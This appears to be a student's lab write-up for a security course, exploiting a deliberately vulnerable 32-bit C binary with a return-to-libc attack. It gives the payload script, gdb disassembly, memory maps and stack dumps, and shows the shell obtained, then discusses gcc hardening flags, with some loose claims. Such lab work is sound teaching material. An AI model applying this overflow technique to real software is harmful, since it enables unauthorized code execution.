1. Are there vulnerabilities present in the provided code? If yes, then why do they exist? How can they be fixed?.

Solution: The certain C code assignment_2 has certain vulnerabilities, one is buffer overflow through which we can modify the return address and rewrite the return address to our own exploit code. Along with that there is return to libc attack possible. We can manipulate the stack , altering the return address of a function and redirecting the flow to execute the code which we want.The goal is to execute the shell, by providing the **Ï/bin/sh"** as an argument.

There is a fixed canary, which remains constant across multiple executions, The fixed canary allows us to overwrite the canary and manipulate the content of the stack, including the return address.

Two main reasons for the presence of vulnerability are

1. **Fixed Canary Value** : The canary, a security measure inserted in the stack to detect buffer overflows, remains constant across multiple program executions. This fixed canary provides an opportunity for us to overwrite it systematically. By doing so, we can construct a payload that seamlessly manipulates the program's flow, enabling a safe transition to a system call within the library.

2. **Inactive ASLR (Address Space Layout Randomization)** : ASLR, a security feature that randomizes memory addresses to predictability, is not activated in the system. Without ASLR, the memory addresses for crucial functions like system calls and the "/bin/sh" string are consistently located in the same memory positions. We can exploit this predictability to construct a payload that accurately targets these fixed addresses during a stack overflow. The absence of ASLR means that, even on reruns of the program, these addresses remain unchanged, simplifying unauthorized access to sensitive components in memory.

The most suitable attack for executing a shell by invoking the System call function and providing "/bin/sh" as an argument is a return-to-libc attack. In this type of attack, we exploit the stack by overflowing it during the return from a function. Instead of the original return address, we insert the address corresponding to a function in a shared library, such as the system call.

In the return-to-libc attack, the idea is to replace the return address with the memory location of a function within the shared library, like the system call. By providing the address of "/bin/sh" as an argument to the system call, we can execute arbitrary commands.

To achieve this, after inserting the system call address as the return address, we skip 4 bytes in the stack. This skip accounts for the fact that, when the function is called, the parameters and return address are pushed onto the stack. By manipulating the return address with the system call function, we ensure that the parameters and return address of the system call align correctly on the stack for proper execution.

The Payload which I used is show below:

```
  GNU nano 2.5.3                                                    File: payload.py

s = "A" * 16 + "\xee\xff\xc0\xd0" + "B" * 12 + "\xe0\xed\x04\x08" + "\xe0\xe2\x04\x08" + "\x40\xbd\x0b\x08"
print(s)
```

How I created the payload

```
Dump of assembler code for function get_name:
   0x0804887c <+0>:     push   %ebp
   0x0804887d <+1>:     mov    %esp,%ebp
   0x0804887f <+3>:     sub    $0x28,%esp
   0x08048882 <+6>:     movl   $0xd0c0ffee,-0xc(%ebp)
   0x08048889 <+13>:    movl   $0x6e69622f,-0x24(%ebp)
   0x08048890 <+20>:    movl   $0x68732f,-0x20(%ebp)
   0x08048897 <+27>:    sub    $0xc,%esp
   0x0804889a <+30>:    push   $0x80bb628
   0x0804889f <+35>:    call   0x804ede0 <system>
   0x080488a4 <+40>:    add    $0x10,%esp
   0x080488a7 <+43>:    sub    $0x8,%esp
   0x080488aa <+46>:    pushl  0x8(%ebp)
   0x080488ad <+49>:    lea    -0x1c(%ebp),%eax
   0x080488b0 <+52>:    push   %eax
   0x080488b1 <+53>:    call   0x80481d0
   0x080488b6 <+58>:    add    $0x10,%esp
   0x080488b9 <+61>:    sub    $0x4,%esp
   0x080488bc <+64>:    lea    -0x24(%ebp),%eax
   0x080488bf <+67>:    push   %eax
   0x080488c0 <+68>:    lea    -0x1c(%ebp),%eax
   0x080488c3 <+71>:    push   %eax
   0x080488c4 <+72>:    push   $0x80bb630
   0x080488c9 <+77>:    call   0x804f0e0 <printf>
   0x080488ce <+82>:    add    $0x10,%esp
   0x080488d1 <+85>:    cmpl   $0xd0c0ffee,-0xc(%ebp)
   0x080488d8 <+92>:    je     0x80488e4 <get_name+104>
   0x080488da <+94>:    sub    $0xc,%esp
   0x080488dd <+97>:    push   $0x1
   0x080488df <+99>:    call   0x804e2e0 <exit>
   0x080488e4 <+104>:   nop
   0x080488e5 <+105>:   leave
   0x080488e6 <+106>:   ret
End of assembler dump.
```

```
(gdb) info proc map
process 8629
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x80e9000    0xa1000        0x0 /home/sse/cs6570_assignment_2_password_1234/assignment_2
         0x80e9000  0x80eb000     0x2000    0xa0000 /home/sse/cs6570_assignment_2_password_1234/assignment_2
         0x80eb000  0x810f000    0x24000        0x0 [heap]
        0xf7ff9000 0xf7ffc000     0x3000        0x0 [vvar]
        0xf7ffc000 0xf7ffe000     0x2000        0x0 [vdso]
        0xfffdd000 0xffffe000    0x21000        0x0 [stack]
(gdb) find 0x8048000,0x80eb000,"/bin/sh
Unterminated string in expression.
(gdb) find 0x8048000,0x80eb000,"/bin/sh"
0x80bbd40
1 pattern found.
(gdb) quit
A debugging session is active.
```

```
(gdb) x/64x $esp
0xffffcf00:     0x080d5ea0      0x6e69622f      0x0068732f      0x41414141
0xffffcf10:     0x41414141      0x41414141      0x41414141      0xd0c0ff00
0xffffcf20:     0x00000002      0xffffd024      0xffffcf48      0x0804892d
0xffffcf30:     0xffffd250      0x0000009e      0x00000000      0x00000002
0xffffcf40:     0x080ea070      0xffffcf60      0x00000000      0x08048b61
0xffffcf50:     0x080ea00c      0x0000009e      0x00000000      0x08048b61
0xffffcf60:     0x00000002      0xffffd024      0xffffd030      0xffffcf84
0xffffcf70:     0x00000000      0x00000002      0xffffd024      0x080488e7
0xffffcf80:     0x00000000      0x080481a8      0x080ea00c      0x0000009e
0xffffcf90:     0x00000000      0xd6877678      0x200ff997      0x00000000
0xffffcfa0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcfb0:     0x00000000      0x00842529      0x00000001      0x08048d5d
0xffffcfc0:     0x08049370      0x08049410      0x00000000      0xffffd01c
0xffffcfd0:     0x00000006      0x0000009e      0x0000000d      0x00000090
0xffffcfe0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffcff0:     0x00000002      0x00000000      0x00000000      0x08048757
(gdb) disas main
```

OUTPUT

```
Quit anyway? (y or n) y
sse@sse_vm:~/cs6570_assignment_2_password_1234$ ./assignment_2 $(cat input)
assignment_2  assignment_2.c  CS6570_Assignment-2.md.pdf  input  Makefile  payload.py  payload.pyy
Hi AAAAAAAAAAAAAAAA����BBBBBBBBBBBB����@�
                                        !, can you make me run /bin/sh ?
$ whoami
sse
$
```

2. How do the gcc flags (in Makefile) affect how "secure" the binary is?

Solution:

1. **m32**: This flag specifies that the code should be compiled as a 32-bit binary.

   Security Impact: 32-bit binaries are generally considered to have more security vulnerabilities compared to their 64-bit counterparts. 64-bit systems have additional security features, such as larger address space and enhanced security models, making them more resistant to certain types of attacks.

2. **-static** : This flag indicates that the binary should be statically linked, meaning that all library dependencies are included in the executable.

   Security Impact: Static linking can provide some security benefits by reducing reliance on external shared libraries, making the executable less susceptible to library version inconsistencies or vulnerabilities. However, it also means that security updates to shared libraries are not automatically applied.

3. **-g** : This flag includes debugging information in the binary, which can be useful for debugging purposes.

   Security Impact : Including debugging information may expose sensitive information about the program's internals, potentially aiding attackers. In a production environment, it is common to exclude debugging information to reduce the attack surface.

4. **-fno-stack-protector** : This flag disables the stack protector feature, which adds protection mechanisms against stack-based buffer overflows.

   Security Impact : Disabling stack protection removes a crucial defense against certain types of buffer overflow attacks. It makes the program more susceptible to exploitation if there are vulnerabilities related to buffer overflows.

5. **-o0** : This flag specifies no optimization. The compiler will not perform any optimization on the code.

   Security Impact: While optimization flags can sometimes affect the security of the binary, setting optimization to zero (-O0) means that the compiler does not perform any security-related optimizations. It can aid in debugging but might result in larger and potentially less secure code.

The combination of these flags can result to debug the code in a easy manner but the security is less due to 32 bit architecture, static linking, no presence of stack protection, and no optimization. The disability of these flags makes insertion of canaries and thus the random canary is not inserted into the stack and the stack smashing is not detected and stack buffer overflow is successfully done.